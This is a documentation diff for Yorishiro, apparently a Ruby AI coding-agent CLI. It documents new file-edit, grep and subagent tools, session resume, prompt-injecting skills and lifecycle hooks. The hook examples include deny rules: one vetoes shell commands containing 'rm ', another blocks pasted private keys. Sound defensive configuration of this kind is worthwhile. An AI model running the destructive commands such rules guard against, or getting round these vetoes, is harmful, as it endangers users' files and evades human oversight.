Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
|
|
288
|
+
`~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
|
|
289
|
+
is registered automatically at startup — no `skill ...` call needed. When both
|
|
290
|
+
directories define a skill with the same name, the project-local one wins.
|
|
291
|
+
|
|
292
|
+
```ruby
|
|
293
|
+
# .yorishiro/skills/changelog.rb
|
|
294
|
+
class ChangelogSkill < Yorishiro::Skill
|
|
295
|
+
def name = "changelog"
|
|
296
|
+
def description = "Summarize recent commits"
|
|
297
|
+
|
|
298
|
+
def execute(_context)
|
|
299
|
+
prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
|
|
300
|
+
end
|
|
301
|
+
end
|
|
302
|
+
# => /changelog is available automatically
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
### Hooks
|
|
306
|
+
|
|
307
|
+
Run Ruby blocks on lifecycle events from `.yorishirorc`:
|
|
308
|
+
|
|
309
|
+
```ruby
|
|
310
|
+
# Veto a tool call before the permission prompt (the denial is returned
|
|
311
|
+
# to the LLM as the tool result so it can change course)
|
|
312
|
+
on :before_tool_use do |tool_name, args|
|
|
313
|
+
deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
|
|
314
|
+
end
|
|
315
|
+
|
|
316
|
+
# Observe tool results (a failing hook only prints a warning)
|
|
317
|
+
on :after_tool_use do |tool_name, _args, result|
|
|
318
|
+
File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
|
|
319
|
+
end
|
|
320
|
+
|
|
321
|
+
# Block a message before it reaches the LLM
|
|
322
|
+
on :user_prompt_submit do |input|
|
|
323
|
+
deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
|
|
324
|
+
end
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
|
|
328
|
+
|
|
209
329
|
### Full Configuration Example
|
|
210
330
|
|
|
211
331
|
```ruby
|
|
@@ -213,7 +333,7 @@ skill GitStatusSkill.new
|
|
|
213
333
|
|
|
214
334
|
use provider: :anthropic,
|
|
215
335
|
api_key: ENV["ANTHROPIC_API_KEY"],
|
|
216
|
-
model: "claude-
|
|
336
|
+
model: "claude-opus-4-8"
|
|
217
337
|
|
|
218
338
|
system_prompt <<~PROMPT
|
|
219
339
|
You are a helpful coding assistant.
|
|
@@ -225,7 +345,9 @@ plan_mode false
|
|
|
225
345
|
# Built-in tools
|
|
226
346
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
227
347
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
348
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
228
349
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
350
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
229
351
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
230
352
|
allow_commands: [
|
|
231
353
|
"ls *",
|
|
@@ -234,6 +356,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
234
356
|
"bundle exec *",
|
|
235
357
|
"ruby *"
|
|
236
358
|
]
|
|
359
|
+
allow_tool Yorishiro::Tools::Task.new
|
|
237
360
|
|
|
238
361
|
# MCP servers
|
|
239
362
|
mcp_server "filesystem",
|
|
@@ -247,8 +370,11 @@ mcp_server "filesystem",
|
|
|
247
370
|
|------|-------|-------------|------------|
|
|
248
371
|
| `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
|
|
249
372
|
| `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
|
|
373
|
+
| `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
|
|
250
374
|
| `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
|
|
375
|
+
| `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
|
|
251
376
|
| `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
|
|
377
|
+
| `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
|
|
252
378
|
|
|
253
379
|
## Development
|
|
254
380
|
|
data/docs/en/README.md
CHANGED
|
@@ -32,7 +32,9 @@ use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonn
|
|
|
32
32
|
|
|
33
33
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
34
34
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
35
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
35
36
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
37
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
36
38
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
37
39
|
allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
|
|
38
40
|
|
|
@@ -61,12 +63,17 @@ assistant> Hi! How can I help you today?
|
|
|
61
63
|
- Type your message and press **Enter twice** to send
|
|
62
64
|
- `Ctrl+C` or `/exit` to quit
|
|
63
65
|
|
|
66
|
+
### Session Persistence & Resume
|
|
67
|
+
|
|
68
|
+
Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops. Resume with `yorishiro --continue` (most recent), `yorishiro --resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old one resumable. Sessions record their provider/model and print a notice when resumed under a different one; the newest 50 sessions are kept per directory.
|
|
69
|
+
|
|
64
70
|
### Slash Commands
|
|
65
71
|
|
|
66
72
|
| Command | Description |
|
|
67
73
|
|---------|-------------|
|
|
68
74
|
| `/plan` | Toggle plan mode |
|
|
69
|
-
| `/clear` | Clear conversation history |
|
|
75
|
+
| `/clear` | Clear conversation history (starts a new session) |
|
|
76
|
+
| `/resume` | List saved sessions and resume one |
|
|
70
77
|
| `/tools` | List registered tools |
|
|
71
78
|
| `/skills` | List registered skills |
|
|
72
79
|
| `/exit` | Exit yorishiro |
|
|
@@ -78,6 +85,8 @@ assistant> Hi! How can I help you today?
|
|
|
78
85
|
yorishiro --provider anthropic # Select provider
|
|
79
86
|
yorishiro --model gpt-4o # Override model
|
|
80
87
|
yorishiro --plan # Start in plan mode
|
|
88
|
+
yorishiro --continue # Resume the most recent session
|
|
89
|
+
yorishiro --resume [ID] # Resume a saved session (picker when ID is omitted)
|
|
81
90
|
yorishiro --version # Show version
|
|
82
91
|
yorishiro --help # Show help
|
|
83
92
|
```
|
|
@@ -117,14 +126,34 @@ use provider: :ollama, model: "llama3.1"
|
|
|
117
126
|
# Read-only tools (no permission required)
|
|
118
127
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
119
128
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
129
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
120
130
|
|
|
121
|
-
# Write
|
|
131
|
+
# Write / edit tools (permission required every time, with a diff preview)
|
|
122
132
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
133
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
123
134
|
|
|
124
135
|
# Command execution (pattern-based permission)
|
|
125
136
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
126
137
|
allow_commands: ["ls", "git *", "bundle exec *"]
|
|
138
|
+
|
|
139
|
+
# Subagent (delegates read-only research to a fresh context window)
|
|
140
|
+
allow_tool Yorishiro::Tools::Task.new
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### Subagent (`task` tool)
|
|
144
|
+
|
|
145
|
+
The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
|
|
146
|
+
|
|
147
|
+
This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
|
|
148
|
+
|
|
127
149
|
```
|
|
150
|
+
[Tool] Executing: task(prompt: Find where sessions are persisted...)
|
|
151
|
+
[task] grep(pattern: def save)
|
|
152
|
+
[task] read_file(path: lib/yorishiro/session_store.rb)
|
|
153
|
+
[Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
|
|
128
157
|
|
|
129
158
|
### Command Execution Permission Model
|
|
130
159
|
|
|
@@ -204,6 +233,66 @@ skill GitStatusSkill.new
|
|
|
204
233
|
# => Available as /git_status
|
|
205
234
|
```
|
|
206
235
|
|
|
236
|
+
A skill that returns a String just prints its output. To drive the assistant
|
|
237
|
+
instead, return `prompt(...)`: the text is injected as a user message and the
|
|
238
|
+
LLM runs (respecting plan mode), so the skill can hand a task to the model.
|
|
239
|
+
|
|
240
|
+
```ruby
|
|
241
|
+
class ReviewSkill < Yorishiro::Skill
|
|
242
|
+
def name = "review"
|
|
243
|
+
def description = "Review the current git diff"
|
|
244
|
+
|
|
245
|
+
def execute(_context)
|
|
246
|
+
prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
|
|
247
|
+
end
|
|
248
|
+
end
|
|
249
|
+
|
|
250
|
+
skill ReviewSkill.new
|
|
251
|
+
# => /review feeds the diff to the LLM and runs the agent loop
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
|
|
255
|
+
`~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
|
|
256
|
+
is registered automatically at startup — no `skill ...` call needed. When both
|
|
257
|
+
directories define a skill with the same name, the project-local one wins.
|
|
258
|
+
|
|
259
|
+
```ruby
|
|
260
|
+
# .yorishiro/skills/changelog.rb
|
|
261
|
+
class ChangelogSkill < Yorishiro::Skill
|
|
262
|
+
def name = "changelog"
|
|
263
|
+
def description = "Summarize recent commits"
|
|
264
|
+
|
|
265
|
+
def execute(_context)
|
|
266
|
+
prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
|
|
267
|
+
end
|
|
268
|
+
end
|
|
269
|
+
# => /changelog is available automatically
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
### Hooks
|
|
273
|
+
|
|
274
|
+
Run Ruby blocks on lifecycle events from `.yorishirorc`:
|
|
275
|
+
|
|
276
|
+
```ruby
|
|
277
|
+
# Veto a tool call before the permission prompt (the denial is returned
|
|
278
|
+
# to the LLM as the tool result so it can change course)
|
|
279
|
+
on :before_tool_use do |tool_name, args|
|
|
280
|
+
deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
|
|
281
|
+
end
|
|
282
|
+
|
|
283
|
+
# Observe tool results (a failing hook only prints a warning)
|
|
284
|
+
on :after_tool_use do |tool_name, _args, result|
|
|
285
|
+
File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
|
|
286
|
+
end
|
|
287
|
+
|
|
288
|
+
# Block a message before it reaches the LLM
|
|
289
|
+
on :user_prompt_submit do |input|
|
|
290
|
+
deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
|
|
291
|
+
end
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
|
|
295
|
+
|
|
207
296
|
### Full Configuration Example
|
|
208
297
|
|
|
209
298
|
```ruby
|
|
@@ -223,7 +312,9 @@ plan_mode false
|
|
|
223
312
|
# Built-in tools
|
|
224
313
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
225
314
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
315
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
226
316
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
317
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
227
318
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
228
319
|
allow_commands: [
|
|
229
320
|
"ls *",
|
|
@@ -232,6 +323,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
232
323
|
"bundle exec *",
|
|
233
324
|
"ruby *"
|
|
234
325
|
]
|
|
326
|
+
allow_tool Yorishiro::Tools::Task.new
|
|
235
327
|
|
|
236
328
|
# MCP servers
|
|
237
329
|
mcp_server "filesystem",
|
|
@@ -245,8 +337,11 @@ mcp_server "filesystem",
|
|
|
245
337
|
|------|-------|-------------|------------|
|
|
246
338
|
| `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
|
|
247
339
|
| `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
|
|
340
|
+
| `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
|
|
248
341
|
| `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
|
|
342
|
+
| `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
|
|
249
343
|
| `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
|
|
344
|
+
| `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
|
|
250
345
|
|
|
251
346
|
## Development
|
|
252
347
|
|